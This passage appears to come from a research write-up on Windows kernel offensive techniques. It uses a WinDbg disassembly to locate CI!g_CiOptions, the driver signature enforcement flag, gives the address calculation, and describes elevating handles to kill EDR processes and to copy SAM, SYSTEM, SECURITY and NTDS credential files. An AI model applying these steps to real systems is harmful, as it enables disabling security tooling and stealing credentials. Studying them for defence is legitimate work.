Similarly, we search for `mov dword ptr` at address of `CipInitialize` to extract the offset of `CI!g_CiOptions` which is `0xfff4683`. 145 | 146 | ``` 147 | 0: kd> uf CI!CipInitialize 148 | CI!CipInitialize: 149 | fffff802`82433d14 48895c2408 mov qword ptr [rsp+8],rbx 150 | fffff802`82433d19 48896c2410 mov qword ptr [rsp+10h],rbp 151 | fffff802`82433d1e 4889742418 mov qword ptr [rsp+18h],rsi 152 | fffff802`82433d23 57 push rdi 153 | fffff802`82433d24 4154 push r12 154 | fffff802`82433d26 4156 push r14 155 | fffff802`82433d28 4883ec40 sub rsp,40h 156 | fffff802`82433d2c 498be9 mov rbp,r9 157 | fffff802`82433d2f 890d8346ffff mov dword ptr [CI!g_CiOptions (fffff802`824283b8)],ecx 158 | ``` 159 | 160 | Base address of `CI.dll` could be obtained with `NtQuerySystemInformation` and `(SYSTEM_INFORMATION_CLASS)11` which is `SystemModuleInformation`. Thus, global address = `address of \x89\x0d + 0xfff4683 - mapped address of CI.dll + base address of CI.dll` 161 | 162 | 163 | 164 | ### Elevated Handle To Copy Protected File 165 | 166 | As implemented in KernelCactus, it can [elevate process handle and file handle](https://spikysabra.gitbook.io/kernelcactus/pocs/total-service-destruction) to terminate EDR process and delete files to destroy EDR service. I come up with one more use case of elevating file handle. We can copy any protected file including SAM/SYSTEM/SECURITY and NTDS by first opening file handle through `CreateFile`. Elevate the file handle and read the content through `MapViewOfFile`. 167 | 168 | 169 | 170 | ### References 171 | 172 | - https://spikysabra.gitbook.io/kernelcactus/ 173 | - https://securityintelligence.com/posts/direct-kernel-object-manipulation-attacks-etw-providers/ 174 | - https://itm4n.github.io/debugging-protected-processes/ 175 | - https://blog.xpnsec.com/gcioptions-in-a-virtualized-world/ 176 | - https://github.com/NVISOsecurity/CobaltWhispers/blob/main/src/Drivers/DisableDSE/DisableDSE.c 177 | 178 | 179 | 180 | 181 | 182 | --------------------------------------------------------------------------------